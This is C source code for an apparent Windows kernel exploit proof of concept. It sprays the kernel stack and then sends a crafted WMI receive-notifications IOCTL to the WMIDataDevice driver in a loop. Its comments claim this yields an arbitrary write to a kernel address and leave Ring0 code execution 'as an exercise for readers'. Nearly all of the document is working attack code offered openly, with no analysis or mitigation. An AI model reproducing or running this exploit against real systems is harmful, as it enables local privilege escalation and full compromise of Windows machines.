// with this code we can write custom data to custom address in kernel // getting Ring0 code execution in this situation is so simple , exercise for readers #include #include typedef union { HANDLE Handle; ULONG64 Handle64; ULONG32 Handle32; } HANDLE3264, * PHANDLE3264; typedef struct { // // List of guid notification handles // ULONG HandleCount; ULONG Action; HANDLE /* PUSER_THREAD_START_ROUTINE */ UserModeCallback; HANDLE3264 UserModeProcess; HANDLE3264 Handles[20]; } WMIRECEIVENOTIFICATION, * PWMIRECEIVENOTIFICATION; #define RECEIVE_ACTION_CREATE_THREAD 2 // Mark guid objects as requiring typedef struct { IN VOID * ObjectAttributes; IN ACCESS_MASK DesiredAccess; OUT HANDLE3264 Handle; } WMIOPENGUIDBLOCK, * PWMIOPENGUIDBLOCK; #define IOCTL_WMI_RECEIVE_NOTIFICATIONS CTL_CODE(FILE_DEVICE_UNKNOWN, 0x51, METHOD_BUFFERED, FILE_WRITE_ACCESS) extern "C" ULONG STDCALL NtMapUserPhysicalPages( PVOID BaseAddress, ULONG NumberOfPages, PULONG PageFrameNumbers ); VOID SprayKernelStack() { BYTE buffer[4096]; memset(buffer, 'B', sizeof(buffer)); NtMapUserPhysicalPages(buffer, sizeof(buffer) / sizeof(DWORD), (PULONG)buffer); } int main() { DWORD dwBytesReturned; HANDLE threadhandle; WMIRECEIVENOTIFICATION buffer; CHAR OutPut[1000]; memset( &buffer, '\x41', sizeof(buffer)); // set ecx to 0x41414141 buffer.HandleCount = 0; buffer.Action = RECEIVE_ACTION_CREATE_THREAD; buffer.UserModeProcess.Handle = GetCurrentProcess(); HANDLE hDriver = CreateFileA("\\\\.\\WMIDataDevice", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hDriver != INVALID_HANDLE_VALUE) { while (TRUE) { SprayKernelStack(); if (!DeviceIoControl(hDriver, IOCTL_WMI_RECEIVE_NOTIFICATIONS, &buffer, sizeof(buffer), &OutPut, sizeof(OutPut), &dwBytesReturned, NULL)) { return 1; } } } return 0; }